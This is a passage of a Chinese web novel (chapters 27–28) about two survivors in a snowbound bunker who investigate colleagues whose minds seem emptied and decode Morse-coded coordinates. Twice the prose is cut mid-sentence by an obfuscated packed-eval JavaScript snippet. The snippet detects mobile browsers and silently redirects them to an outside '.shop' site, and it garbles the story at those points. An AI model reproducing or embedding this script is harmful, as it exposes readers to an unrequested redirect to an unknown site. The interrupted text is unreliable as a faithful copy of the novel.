江敛移开视线,将话题拉回正轨。 “巢穴现在的技术资源还不足以去安装监控,只能通过日常接触,旁敲侧击地打听近期是否还有类似‘记忆恍惚’或‘行为模式突变’的案例,尤其是与王婶、王明远、广场那两个人,甚至陈哲可能有过交集的人。” 江敛说完自己的打算,便停了下来,目光落在祝昭身上,显然是在等待她的想法。 祝昭捧着杯子,眉头微微蹙起,陷入了思考。 过了片刻,她抬起头,眼神恢复了平日的灵动,带着一种下定决心后的清亮。 “我明白了。巡逻的时候,我会更仔细地观察周围的人,不光看王婶,也留意有没有其他人出现类似‘卡顿’或者性情大变的情况。还有……”她顿了顿,声音压低了些,“我会想办法,在不引起注意的情况下,多跟王婶接触一下。也许……也许能发现更多线索。” 江敛安静地听着,没有打断,直到她说完,才几不可查地点了一下头。 “好。”他应道,算是认可了她的计划。 计划在简短的交流中初步拟定,随后的半个月,两人在各自的轨道上谨慎地执行着。 江敛利用技术部身份,在日常交流中留意着任何关于行为异常的非正式汇报,而祝昭则在巡逻时,以加倍的热情与街坊们寒暄,敏锐的目光却如探针般扫过每一张面孔,留意着任何细微的“卡顿”或不同以往的言辞。 某天晚上晚,祝昭结束巡逻,裹着一身寒气钻进江敛的房间。 连续半个月高度紧张的观察让她眉宇间带着难以掩饰的疲惫。 她习惯性地在靠近供暖出风口的位置坐下,冰冷的双手下意识地互相搓着。 江敛没说什么,只是起身,从储物柜里拿出一个用厚布仔细包裹着的东西递给她。 祝昭掀开布,里面是一个小巧的、金属外壳的暖手宝,正散发着持续的、恰到好处的温热。 祝昭习惯性地接过,将那点稳定的热源捂在冰凉的掌心。 “暖和多了。” 她低声道,感觉因为巡逻而紧绷的神经似乎也随着掌心的温度松弛了一点点。 祝昭每次值完夜班都会来江敛这里小坐一会,这是她一天中最放松的时刻。 桌上的台灯因节能模式光线昏黄。 两人间的沉默并没有持续太久,就被已经暖和好身体的祝昭打破。结束了每天例行的絮叨,祝昭望着江敛桌上堆积如山的数据资料,轻声开口。 “江敛,这都半个月了……沈姐姐他们,应该早就到‘回声小镇’了吧?那里……是不是真的没有这些糟心事?” 她的声音里带着不易察觉的向往和一丝迷茫。 “如果没有意外的话,我原本也会在那个地方……” 江敛的视线从资料里抬起,那里依旧记录着关于异常气候和“基石”的零碎信息。 “根据现有数据和你之前的情报,‘回声小镇’具备稳定地热的可能性很高,理论上适合建立据点。”江敛的分析冷静而客观,“但任何人类聚集点都伴随秩序与风险。绝对的‘安全’不存在。” 他看向祝昭,昏黄的光线在他眼中沉淀出理性的光泽。 “关键在于我们当下的判断。巢穴内部的变化仍在持续,根源未明。是留下,在风险中查明真相,还是寻找时机,探索外部未知的可能。” 江敛没有替祝昭做决定,只是清晰地陈述着选项。 祝昭抱着膝盖,将下巴搁在臂弯里,暖手宝的温度透过布料熨帖着皮肤。 她沉默了片刻,声音不大却坚定。 “我不想就这么一走了之,尤其是在……王婶他们可能正需要帮助的时候。” 她抬起头,看向江敛。 “但是,如果这里真的变得无法挽回……江敛,你会和我一起离开吗?” 这个问题问得直接,甚至有些不顾后果,却承载着祝昭全然的信赖。 江敛对上她的目光,没有立刻回答。 几秒后,他重新将视线移回资料上,侧脸线条在阴影里显得有些冷硬,但回应却异常清晰。 “嗯。”江敛应了一声,停顿片刻,像是确认某个早已存在的事实,补充道,“在回廊里,就说好了。” ——不会丢下你。 这句话他没有说出口,但祝昭听懂了。 她弯起眼睛,心里那点因不确定性而飘摇的忐忑,悄然落定。 祝昭不再说话,只是安静地陪他坐着,听着窗外永无止息的风啸,感受着掌心暖意,看着他在台灯灯光下沉静的侧影。 在这个危机四伏的寒冬巢穴里,至少此刻,他们并非孤身一人。 未来的路依旧被迷雾笼罩,但有人并肩,便有了穿透迷障的勇气。 夜色,在两人无声的陪伴和各自清晰的抉择中,愈发深沉。 27. 雪停了,麻烦也来了 持续两个多月的暴风雪终于迎来了第一次喘息。 铅灰色的云层裂开缝隙,吝啬地透下几缕苍白的天光,照在巢穴出口处厚厚的积雪上,反射出刺眼的白。 祝昭系紧巡逻队新发的加厚防寒服领口,深吸了一口冰冷刺骨的空气,感觉肺叶都跟着收缩了一下。 她低头看了看自己胸前崭新的外部巡逻队标识,又忍不住摸了摸腰间——那里别着一个不起眼的金属徽章,正是当初她送给沈悬衡和江敛的同款。 唐队长站在队伍前方,正做着最后的任务简报。 “这次雪停期预计能维持大半个月,”唐队的声音在寒风中显得格外清晰,“我们的任务是清扫通往三号物资点的路径,并尽可能回收可用物资。记住,雪停不等于安全,都给我打起十二分精神!” “是,队长!” 祝昭悄悄活动了下手指,感受着体内那股熟悉的力量——经过这几个月的练习,她已经能更精准地控制【及时行乐】——祝昭给自己的异能起了名字——带来的爆发,并发现在使用异能后,不会再出现刚觉醒异能时的“消失”状况了。 祝昭和江敛讨论过这个现象,不只是她,江敛在联系时也发现了这个现象,他们推测这只是异能初现时的副作用。 “祝昭,”唐队开始点名分配任务和小组,“你负责图书馆区域的搜索,陈哲跟你一组。你们需要搜寻一些能够为技术带来支撑的书籍。” 被点到名字的陈哲立刻挺直腰板,朝祝昭露出一个过分热情的笑容:“放心吧唐队,我会照顾好祝昭的!” 祝昭面无表情地转开视线,正好对上不远处江敛的目光。 他抱着一叠文件站在通道口,似乎是正要前往内务部办公室。 两人视线交汇的瞬间,江敛几不可察地朝她点了点头。 内务部的走廊比外部要暖和不少,但气氛却更加压抑。 江敛走进那间熟悉的办公室,将手中的报告放在赵峰的桌子上。 “这是技术部对供暖系统的最新评估,”他的声音平稳,“按照您的要求,需要分三次提交。” 赵峰头也不抬地“嗯”了一声,指了指旁边的文件柜:“放那边。” 江敛依言走过去,借着放置文件的机会,目光快速扫过整个房间。 靠墙的铁皮文件柜分三列排列,最右侧的柜门上贴着一张泛黄的标签,写着“外勤档案”;王明远的位置依旧堆满了杂物,但今天他人不在;墙角那个不起眼的储物柜半开着,里面似乎堆着些旧式设备... “还有事?”赵峰突然抬头。 “没有了,”江敛收回视线,“明天同一时间,我会送来第二部分报告。” 他转身离开,在关门的一瞬间,余光瞥见赵峰正拿起他刚放下的报告,眉头紧锁。 通道里,祝昭所在的巡逻队正准备出发。她调整着背包带子,听见陈哲在旁边喋喋不休: “听说三号点以前是个图书馆,说不定能找到些有意思的东西。祝昭你喜欢看书吗?” 祝昭系紧鞋带,头也不抬:“现在看书能当饭吃?” “那倒不能,”陈哲讪笑,“但我听说以前的人会把重要信息藏在书里……” 走在前面的唐队回头瞥了他们一眼,陈哲立刻噤声。 祝昭最后检查了一遍装备,跟上队伍。 当她踏出巢穴大门,踩进及膝的积雪时,忍不住倒吸一口凉气。 这积雪量还是已经处理过一遍了的,听说处理积雪的前辈们都累瘫痪了,而眼前的景象更是让她屏住了呼吸。 视野所及,是一片令人心悸的纯白。 曾经熟悉的城市轮廓被厚厚的冰雪重新塑造,高低错落的建筑残骸像是巨兽沉睡的脊背,覆着皑皑白雪,只偶尔露出下面焦黑或锈蚀的骨骼。断裂的高架桥像被冻结的瀑布,凝固在半空。 寂静是这里的主宰,连风声都显得格外空洞,仿佛整个世界都被按下了静音键。 积雪在脚下发出“嘎吱嘎吱”的呻吟,每迈出一步都需要耗费比平时更多的力气。 祝昭紧跟在唐队长身后,深一脚浅一脚地前行,呼出的白气在睫毛上结了一层细霜。 “保持警惕!”唐柚叶的声音不高,却在寂静中传得很远,“积雪会掩盖很多东西,裂缝、坑洞,甚至是……某些‘东西’的踪迹。注意脚下,注意周围。” 祝昭握紧了手中的工具,目光扫过这片死寂的冰原。 这就是雪停期的世界,美丽,却潜藏着比暴风雪更令人不安的静谧。 他们的目的地是三号物资点,一个半塌陷的社区图书馆旧址。 据情报所说,这座图书馆采用左侧为超市,右侧为图书馆的设计,货物储备房也大多集中在右侧。 队伍分成几个小组,开始小心翼翼地清理入口处的积雪和障碍物。 陈哲凑到祝昭身边,压低声音:“听说这种老图书馆里,有时候能找到些意想不到的‘好东西’,比如地图什么的。” 祝昭正用撬棍试探着前方积雪的虚实,头也没抬:“地图?现在的地形一天一个样,旧地图有什么用?” “总比没有强嘛,”陈哲讪讪地摸了摸鼻子,“而且……说不定有别的东西。”他的目光在祝昭脸上转了一圈,又很快移开。 祝昭没再接话,她全部的注意力都被前方建筑物内部那片深邃的黑暗吸引了。 在唐队的指挥下,他们终于清出一条狭窄的通道。 图书馆内部比外面更冷,空气凝滞,混合着纸张腐烂、霉菌和冰雪的味道。 手电光柱扫过,照亮了东倒西歪的书架,大部分书籍早已被冰雪和湿气毁坏,凝结成一块块形状怪异的“砖石”。 祝昭小心地避开头顶摇摇欲坠的结构,在废墟间搜寻着。 她的手指拂过一本被冻结在冰层中的硬壳书,书脊上的字迹依稀可辨——《基础机械原理与维护》。 祝昭用力将它撬了出来,书页早已粘连在一起。 就在她准备将这本书扔进收集袋时,动作却顿住了。 书页中间似乎夹着什么东西。 她小心地掰开冻结的部分,一张橙黄色的便利贴露了出来。上面不是文字,而是用细密的笔触画满了一种由短划和圆点组成的、排列整齐却毫无规律的符号序列。 这是什么?某种密码? 祝昭皱起眉,完全看不懂。 她下意识地抬头看了看四周,陈哲正在不远处翻找另一个书架,唐队则在入口处警戒。 她迅速将便利贴撕下,悄悄塞进了防寒服最内侧的口袋,然后将那本破书扔进了收集袋。 接下来的大半个月里,雪停期给了他们宝贵的搜寻时间。 祝昭又跟着队伍出去了几次,在不同的废墟点,她竟然又找到了两本类似的、品相相对完好的科普类书籍。一本是《野外可食用植物图鉴(末世修订版)》,另一本是《简易净水与水源寻找方法》。 而这两本书里,同样夹着那种画满奇怪点划符号的便利贴,只是每一张上面的符号序列都完全不同。 她不动声色地将它们全都收集起来,藏在贴身的衣物里。 一种莫名的直觉告诉她,这些“天书”一样的符号,或许很重要。 当雪停期接近尾声,天空再次阴沉下来,预示着新一轮风雪的来临时,祝昭摸着口袋里那三张薄薄的、却仿佛带着某种重量的纸条,心中充满了疑问。 这些东西,到底意味着什么? 内务部的走廊空无一人,只有江敛自己的脚步声在冰冷的空气中回响。 他抱着需要分三次提交的第二部分报告,再次走向赵峰和王明远的办公室。 门虚掩着。 江敛敲了敲,里面没有回应。 “赵干事?王干事?” 江敛提高声音唤了一声,依旧是一片寂静。 一个念头闪过——机会。 他不再犹豫,轻轻推门而入。 办公室内果然空无一人,只有窗外透进来的、被积雪反射的惨白光线,将桌椅和文件柜的轮廓勾勒得格外生硬。 江敛迅速反手将门虚掩,但没有关死,以免引人怀疑。 他的目光第一时间锁定了靠墙的那排铁皮文件柜,尤其是标注着“外勤档案”的那一列。 时间紧迫,必须快。 江敛没有直接用手触碰,而是从工装裤的口袋里,摸出一副在技术部工作时常用的、极其纤薄的棉质手套,利落地戴上。 这既能防止留下指纹,也能避免手上的汗渍污损纸张。 他走到文件柜前,尝试性地拉了拉柜门——锁着。这在意料之中。 江敛的视线快速扫过柜子周围,最终落在赵峰杂乱的书桌上。 在一叠废纸下面,他摸到了一串冰冷的金属钥匙。 冷静。 他深吸一口气,回忆着之前几次进出时观察到的细节。 赵峰似乎习惯将最重要的钥匙放在……他尝试了其中一把看起来最常用、边缘有些磨损的黄铜钥匙。 “咔哒。” 锁开了。 江敛的心跳平稳,但精神高度集中。 他拉开柜门,里面是排列整齐的文件夹。 江敛的动作快而精准,指尖快速翻动,目光如同扫描仪,掠过一个个侧脊标签上的日期和任务名称。 【第七搜索队 - 资源点勘探 - 新城历37年霜月】 【第七搜索队- 异常信号追踪 - 新城历37年雪月】 ……找到了! 【第七搜索队- 李锐 - “基石”项目前期侦查 - 新城历37年冰月】 李锐。队长的名字。 江敛小心地抽出这份蓝色卷宗,快速翻开。 里面是一些常规的行动报告、物资清单,但在几页之后,江敛发现了异常。 有几页纸的页脚,用一种极细的笔,标注着几组看似毫无规律的数字和字母组合,像是某种简码。 他立刻意识到这可能是关键。 不能带走原件。 他飞速地扫视着周围,看到桌上有空白纸和笔。 江敛迅速将这几组代码和它们对应的报告内容关键页数记录下来。同时,他强迫自己记住这份卷宗在柜中的确切位置、前后文件夹的颜色和厚度,确保事后能丝毫不差地归位。 就在他刚刚将记录好的纸条塞进手套内侧,准备将卷宗放回原处时—— 走廊外,传来了由远及近的脚步声,以及赵峰那独特的、带着点不耐烦的沙哑嗓音。 “……李锐那边的计划推进得怎么样了?……上面催得紧,到底还需要多久才能看到明确的阶段性成果?” 声音清晰,正朝着办公室而来。 江敛瞳孔一缩。放回卷宗、锁柜、藏好钥匙、消除痕迹……一系列动作必须在电光石火间完成。 他以惊人的冷静和速度,将卷宗精准地塞回原来的空隙,确保其与旁边文件的间距、倾斜度与之前毫无二致。 “啪”地合上柜门,利落锁好,钥匙物归原处,扯下手套塞进口袋,整个动作一气呵成,如同演练过无数次。 几乎在他刚闪身躲进墙角那个堆满旧设备的储物柜后方狭小阴影里,将呼吸压至最低的瞬间,办公室的门被“吱呀”一声推开了。 赵峰走了进来,身后跟着眼神比之前更加空洞、步伐僵硬得如同木偶的王明远。 “你说你,老王,”赵峰似乎没察觉异样,他将通讯器扔在桌上,语气带着一种对着物品抱怨般的熟稔,“当初要是乖乖配合,何至于变成现在这副空壳子……连维持基本指令都这么费劲。” 他叹了口气,伸手将王明远按回座位,动作略显粗暴。王明远毫无反应,顺从地坐下,目光涣散地垂向地面。 赵峰揉了揉眉心,视线在房间里无意识地扫过,最后落在墙上的时钟上。 “江敛那小子……第二部分报告按理说该送到了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647184|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …跑哪儿去了?”他低声嘟囔了一句,像是在自言自语。 他似乎在门口停顿了一下,犹豫是否要出去。但最终,他摇了摇头,像是决定不等了。 “走吧,先去把刚才说的事处理完。” 他对王明远说了一句,随后便带着依旧沉默的王明远,转身离开了办公室,并顺手带上了门。 “咔。” 门锁合拢的声音在寂静的房间里格外清晰。 躲在储物柜后的江敛,依旧维持着紧绷的姿势,一动不动。 赵峰的话语在他脑中反复回响——李锐与“计划”直接关联,“配合”、“空壳子”、“指令”……这些词汇拼凑出一个模糊却危险的轮廓。王明远的现状,果然是某种“不配合”的后果。 巨大的信息量和潜在的危机感让他后背渗出冷汗。 但他强迫自己冷静,现在最重要的是安全离开。 他耐心地等待着,凭借着自己对时间的精准感知,在心里默数了将近三百个数。 门外一片死寂,没有任何脚步声或说话声。 必须走了。拖得越久,风险越大。 江敛再次调整呼吸,如同最谨慎的潜行者,从藏身处悄无声息地滑出。 他紧贴着墙壁,一步步挪到门边,耳朵贴在门板上仔细倾听——外面确实没有任何动静。 他深吸一口气,右手缓缓握上了冰凉的金属门把手,极轻、极缓地向下转动…… “咔哒。” 门锁被拧开。 他轻轻将门向内拉开一条缝隙—— 缝隙外,王明远那张面无表情、眼神空洞的脸,正正地对着他,距离近得几乎能感受到对方微弱的呼吸。 而在王明远身后一步之遥,赵峰抱着双臂,斜倚在走廊的墙壁上,脸上带着一种说不清道不明的情感,看着他。 江敛所有的动作瞬间僵住,握着门把的手指关节微微泛白。 空气,仿佛在这一刻凝固成了坚冰。 夜色深沉,将“灰鼹鼠巢穴”笼罩在寂静之中。 祝昭拖着疲惫的步伐走向江敛的房间,指尖无意识地摩挲着口袋里那三张已经变得熟悉的便利贴。 这大半个月来,每晚的交流已经成为惯例。 祝昭会把当天找到的、画满奇怪符号的纸条交给江敛,而他总会立即开始破译工作。 “今天又找到一张。”她推开江敛的房门,将第三张便利贴放在桌上。 江敛正在整理一叠从藏书室借来的书籍。 他放下手中的《末世生存指南(进阶篇)》,接过纸条,目光快速扫过上面的点划序列。 “和前两张一样,都是摩斯电码。”他语气平静,“前两个坐标已经破译完成,这张我需要时间解析。” 祝昭凑过去看,只见江敛的笔记本上整齐地记录着摩斯电码的解密图表,旁边标注着两个已经破译出来的坐标位置。 “所以这两个坐标分别对应什么地方?”祝昭好奇地问。 江敛摇头:“只知道是经纬度坐标,具体位置还需要对照地图确认。不过……”他顿了顿,“这些坐标的分布很有规律,像是刻意留下的标记。” 就在祝昭努力想要记住这些复杂的位置信息时,江敛已经将注意力转向了桌上的书籍。 “我在藏书室发现了这个系列的其他书籍。”他翻开另一本基础篇,指着其中一页说,“你看,这里的页码被不规整地撕掉了。” 祝昭凑近细看,果然发现书页中间有一个形状不规则的缺口。 “不只是这一本。”江敛又拿出几本同系列的书,“有的书里夹着便利贴,有的书页码被撕走。我怀疑被撕走的页码上,原本也应该有类似的坐标信息,或者这些页码数字本身就能组成坐标。” “为什么要这么做?”祝昭不解。 “可能是不想让人轻易获得完整的信息。”江敛若有所思,“把线索分散在不同的地方,只有细心收集的人才能拼凑出全貌。而且这种分散方式,很像是在筛选能够理解这种密码的人。” 接下来的日子里,江敛继续利用去藏书室的机会,悄悄记录下所有异常书籍的信息。而祝昭则每天在巡逻结束后,准时来到他的房间,交流当天的发现。 然而,在这个雪停期突然提前一天结束的晚上,情况发生了变化。 祝昭照常来到江敛的房间,却发现里面空无一人。 桌上的台灯还亮着,笔记本摊开着,上面还留着未完成的坐标对照笔记。 她以为江敛只是临时有事,便在床边坐下等待。 时间一分一秒地过去,走廊外始终没有响起熟悉的脚步声。 疲惫渐渐袭来,祝昭的眼皮越来越重。 连续多日在严寒中的巡逻消耗了她太多精力,最终,她歪倒在江敛的床铺上,陷入了沉睡。 不知过了多久,她在迷迷糊糊中感觉到有人走进了房间。 “……祝昭?” 是江敛的声音,听起来比平时更加低沉。 她想回应,却发现自己发不出声音,身体沉重得无法动弹。 江敛在床边站了一会儿,轻轻叹了口气。 然后,他俯下身,在她耳边极轻地说了一句话。 那声音太模糊,像是隔着一层水膜。祝昭只捕捉到几个零碎的音节,似乎有“可能”,还有“快跑”,但根本无法听清完整的内容。 祝昭想问江敛在说什么,努力想要抬起手抓住他的衣袖,却连抬起手指的力气都没有。 下一刻,她感觉自己被稳稳地抱了起来。 江敛的手臂很有力,但动作却异常轻柔。 他抱着她打开房门,来到她的房间,轻轻将她放在床上,细心地盖好被子,还开好了暖气。 在整个过程中,祝昭的意识在半梦半醒间浮沉。 他刚才到底说了什么?那些坐标又代表着哪里? 这三个问题如同未解的谜题,随着她一起沉入了梦乡。 28. 烫手山芋 祝昭是被喉咙里干得发紧的感觉弄醒的。 她迷迷糊糊想翻身,却感觉身体被什么绊住,挣扎了两下才猛地睁开眼——映入眼帘的是自己房间熟悉又略显单调的天花板,而不是江敛那间总堆着资料、连空气都带着纸墨和金属冷清味的屋子。 我怎么在自己床上? 记忆像是断片的录像带,最后一个清晰的画面是自己在江敛房间里,坐在他床边,等着他回来…… 再往后,就是一片模糊的暖意,好像有人把她抱了起来,动作很轻,带着一股熟悉的、让人安心的干净气息。 是江敛。 这个认知像一道细微的电流窜过脊背,让祝昭瞬间彻底清醒。 江敛把她抱回来的?为什么?昨晚他什么时候回来的?是不是……出了什么事? 一股没由来的心慌攫住了祝昭。 她几乎是手脚并用地从床上爬起来,被子缠在脚踝,害得她踉跄一步,差点直接扑倒在地。 她也顾不上那么多,胡乱蹬开被子,连外套都忘了拿,穿着单薄的里衣和没换下的巡逻长裤,拉开门就冲了出去。 走廊里空无一人,清晨的寒意让祝昭打了个哆嗦,但她脚步没停,几乎是跑着冲向江敛的房间。 门都没敲,这种直接拧开门把手就闯了进去。 “江敛!” 江敛正坐在桌前,手里拿着一份报告,被她这突如其来的动静惊得手一抖,纸张发出轻微的哗啦声。 他抬起头,看着门口头发蓬乱、衣衫不整、脸颊还带着睡痕的祝昭,眉头几不可查地蹙起,眼神里带着明显的诧异。 看到他好好地坐在那里,祝昭悬到嗓子眼的心一下子落回了原地,甚至没注意到自己这模样有多狼狈。 她长长地、彻底地呼出一口气,脸上绽开一个放松的笑容。 “太好了,你回来了……” 祝昭语气里带着显而易见的庆幸,仿佛确认了天大的好消息。 她抬脚就想往里走,嘴里已经开始絮叨:“我跟你说,我昨天在巡逻的时候又发现……” “先去洗漱,穿好衣服。” 江敛打断了她,声音平稳,但带着不容置疑的力道。 他的目光在她凌乱的头发和单薄的衣物上扫过,带着点无奈的意味。 祝昭一愣,下意识地低头看了看自己——皱巴巴的里衣,光着的脚丫踩在冰冷的地板上,头发估计像个小疯子。 “啊!”她短促地叫了一声,脸瞬间红透,这才后知后觉地感到羞赧和冰冷,“我、我马上回来!” 祝昭几乎是手脚并用地退了出去,砰地关上门,然后以百米冲刺的速度冲回自己房间。 她用最快的速度完成洗漱,套上干净的衣服。 祝昭对着镜子胡乱抓了抓头发,确保自己看起来至少像个正常人了,才再次走向江敛的房间。 这次她记得敲门了。 走进房间,祝昭一边低着头,手指有些笨拙地系着领口最上面那颗总是不太听话的扣子,一边问道: “你昨天晚上去哪了?我等了好久都没等到你。” 房间里安静了一瞬。 只有祝昭指尖与布料摩擦的细微声响。 江敛的声音隔了一会儿才传来,语调平稳,却带着一丝不易察觉的凝滞:“没去哪。处理点技术部的遗留问题。” 这短暂的停顿和过于简单的回答,像一颗小石子投入祝昭原本还算平静的心湖,漾开了圈圈疑虑的涟漪,系扣子的动作慢了下来。 祝昭终于系好了那颗顽固的扣子,抬起头,目光精准地捕捉到江敛正欲转身去拿桌上水杯的动作——一个下意识的、想要避开她视线的动作。 江敛每次有什么事想瞒着她,都下意识的想喝水。 祝昭不再犹豫。 她几步走到江敛面前,在他还没来得及完全转过身时,伸出双手,一左一右地握住了他的手腕,硬是把江敛拽到她身前。 江敛的身体明显僵了一下,动作停滞在原地。 他的手腕骨节分明,皮肤下能感受到温热的体温和沉稳的脉搏,但此刻肌肉却有些紧绷。 “江敛,”祝昭微微仰头,清澈的目光直直地望进他深褐色的眼底,不允许他有丝毫闪躲,“你看着我。” 她的声音很轻,却带着不容置疑的认真。 “如果真的有什么事,就说出来,我们共同解决,好吗?”她握着他手腕的力道紧了紧,像是要传递某种力量,“我不想一直被你们护在身后,我也想……我也必须拥有知情权。” 江敛的睫毛颤动了一下,喉结微不可查地滚动。 他迎着她的目光,那目光里有担忧,有坚定,还有全然的信任。他嘴唇微动,似乎有什么话已经到了嘴边,那瞬间,祝昭几乎以为他要说了。 然而,最终,江敛只是极轻地吸了一口气,眼底那丝细微的波动被强行压了下去,重新归于一片沉静的深潭。 他避开了祝昭灼人的注视,目光落在虚空中的某一点,手腕也从她温热的手心中轻轻却坚定地抽了出来。 “真的没事。”他重复道,声音比刚才更低哑了一些,转身拿起水杯,走向房间另一头,“别多想。” 动作流畅,语气平静,却将祝昭所有未竟的话语和满腔的关切,都堵在了喉咙里。 祝昭的手还停留在半空中,指尖残留着他手腕的温度和抽离时的触感。 她看着江敛的背影,心里那种空落落的感觉愈发清晰。 他在撒谎。 这个念头开始在祝昭心底滋生。 但是江敛不想说的事,祝昭是无论如何都问不出来的。 接下来的两三天,日子仿佛又回到了之前的节奏,雪停期的提前结束对他们来说只不过是小小的插曲。 因为雪下的突然,祝昭回归了内部巡逻队,江敛依旧埋首于他的数据和报告。 那日清晨略显沉重的对话,像投入水中的石子,涟漪散去后,水面复归平静,但那石子却沉在了水底,存在感明确。 这天中午,两人一同前往食堂。通道里人来人往,弥漫着食物加热后混杂的气味。 就在快要走到食堂门口时,祝昭眼尖地看到了两个熟悉的身影——赵峰和王明远正从另一条岔路走来,看样子也是去食堂。 祝昭下意识地放缓了脚步,用手肘轻轻碰了碰旁边的江敛。 江敛显然也看到了,他脸上的表情没什么变化,但原本放松的肩线几不可查地微微绷紧。 赵峰也看到了他们,脸上立刻堆起了那种公式化的、却让人看不透真意的笑容,径直朝着他们走了过来。 “江干事,祝队员,这么巧。” 赵峰笑呵呵地打招呼,目光在两人身上转了一圈,最后落在江敛身上。 他上前一步,动作自然地抬起手,重重地拍在江敛的右肩上。 一下,又一下。 那力道不轻,拍得江敛的身体微微晃动,与其说是打招呼,不如说更像是一种带着警告意味的敲打。 “年轻人,有干劲是好事,”赵峰保持着笑容,声音不高,却足够让近处的祝昭听清,“不过嘛,有些‘额外’的工作,还是要懂得适可而止,把握好分寸。毕竟,安全第一,对吧?” 他说话时,眼睛一直盯着江敛。 站在他侧后方的王明远,则依旧是那副空洞的模样,眼神涣散地落在空处,对眼前的交谈毫无反应。 江敛在赵峰拍第一下时身体有瞬间的僵硬,但很快便恢复了常态。 他微微颔首,语气平静无波,听不出任何情绪:“谢谢赵干事提醒,我明白。会注意分寸的。” “明白就好,明白就好啊。” 赵峰又用力拍了拍他的肩膀,这才收回手,脸上笑容不变,带着王明远先一步走进了食堂。 直到那两人的背影消失在食堂门口,祝昭才感觉自己屏住的呼吸顺畅了些。 她立刻扭头看向江敛,眉头紧皱,压低声音急切地问:“他什么意思?什么‘额外工作’?他是不是在说我们……” “不是我们,是我。” 江敛打断她,他的目光扫过周围路过的人,示意这里不是说话的地方。 他一边带着祝昭继续往食堂里走,一边用寻常的音量,语速平稳地解释。 “他指的是我之前协助技术部做的一项外围设备检修工作。旧时代遗留的一个小型数据交换节点,接口型号特殊,排查起来比较麻烦,可能超出了原本预估的工作量。” 江敛的解释流畅而具体,甚至提到了“非标准RS-485接口”和“间歇性信号干扰”这样的专业词汇,听起来完全像是一件真实存在的、琐碎又耗时的技术任务。 祝昭听着,心里的疑虑却没有完全打消。 她总觉得,赵峰刚才的态度和话语里的意味,不像是在关心一项普通的工作进度。 那种拍在肩膀上的力道,那意有所指的“适可而止”和“安全第一”,都让祝昭心里莫名地发毛。 “真的只是这样?” 祝昭忍不住再次确认,目光紧紧盯着江敛的脸,想从他脸上找出一丝破绽。 “嗯。”江敛应了一声,已经走到了打饭的队伍末尾,神态自若地拿起餐盘,“快点吃饭吧,下午你还要巡逻。” 他的反应太过自然,理由也充分合理,祝昭张了张嘴,一时找不到再追问下去的理由。 她默默地拿起自己的餐盘,排在他身后。 也许……真的是她想多了? 只是普通的工作交接,赵峰那人说话一向是那种风格? 祝昭试图这样说服自己,可心底深处,那股细微的不安感,却如同悄无声息蔓延的藤蔓,缠绕不去。 江敛的解释天衣无缝,反而让她觉得,有什么东西,被严丝合缝地藏在了这看似平静的表象之下。 自祝昭被江敛抱回房间那晚便骤然回归的暴风雪,此刻正以更大的威力肆虐着巢穴之外。 即使深埋地下,那凄厉的风啸仍能穿透厚重的混凝土与扭曲焊接的金属隔板,隐约钻入耳中。 入口处粗粝加固的结构,想必正承受着鹅毛大雪沉闷而持续的撞击。 祝昭心里一直记着那三个坐标。 因为经常在江敛房间看他研究,那几组数字不知何时已深深印在了她脑子里。 她甚至在自己的小笔记本上悄悄记了下来: N43°45''12", E125°18''36" N44°52''05",E126°35''48" N45°58''22",E127°52''10" 它们一路向北,指向未知的远方。 这天她轮休,不用巡逻。 趁着这个机会,她找到了唐柚叶。 “唐队长,我想看看咱们巢穴存档的旧区域地图,多熟悉熟悉周边环境,以后巡逻也能更有效率些。” 祝昭找了个听起来很正当的理由。 唐柚叶打量了她一眼,没多问什么,从柜子里取出一卷有些发脆的旧地图递给她:“就在阅览室看吧,别带出去,小心点别弄坏了。” “谢谢唐队长!你最好啦!” “别,别突然冲过来抱着我蹭!注意纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647185|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律!!” 祝昭拿着地图,在安静的阅览室角落摊开。 泛黄的纸页上,勾勒着旧时代城市的轮廓、道路网和主要地标,但许多区域如今早已面目全非。 她拿出自己那个小笔记本,翻到记着坐标的那一页,用手指在地图上仔细比对着。 第一个坐标,N43°45''12", E125°18''36",指向巢穴外那片她记忆中被积雪和瓦砾半掩的废弃供水站,除了破败,她想不出还有其他意义。 第二个坐标,N44°52''05",E126°35''48",根据结构图显示,确实位于下层仓储区一个少有人去的岔路尽头,图纸上那里只标记了一个普通的储物编码。 第三个坐标,N45°58''22", E127°52''10",则落在了结构图上标注为“通风枢纽维护段(受限)”的区域旁边,一条细小的、几乎被忽略的通道分支上。 祝昭皱紧了眉头。 这些坐标在巢穴内部要么指向普通的储物角落,要么靠近受限的维护区域。 它们到底有什么用? 江敛之前研究它们,是想找出什么? 接下来的几天,祝昭利用巡逻间隙和休息时间,又偷偷比对了几次地图,试图从这些看似无用的坐标里找出某种规律。 然而,在一次独自前往下层仓储区,试图找到第二个坐标对应的具体位置——那处岔路尽头,却发现那里只是堆放着几个落满灰尘的杂物箱之后,一种奇怪的感觉悄然浮现。 祝昭总觉得背后有视线。 不是明目张胆的注视,而是那种若即若离、若有若无的窥探感。 当她猛地回头,或者刻意放慢脚步观察时,身后只有空荡荡的通道,或是几个行色匆匆、面目模糊的巢穴居民。 可一旦祝昭放松警惕,独自走在人少的地方时,那种被什么东西缀着的感觉就又回来了。 尤其……是在江敛不在她身边的时候。 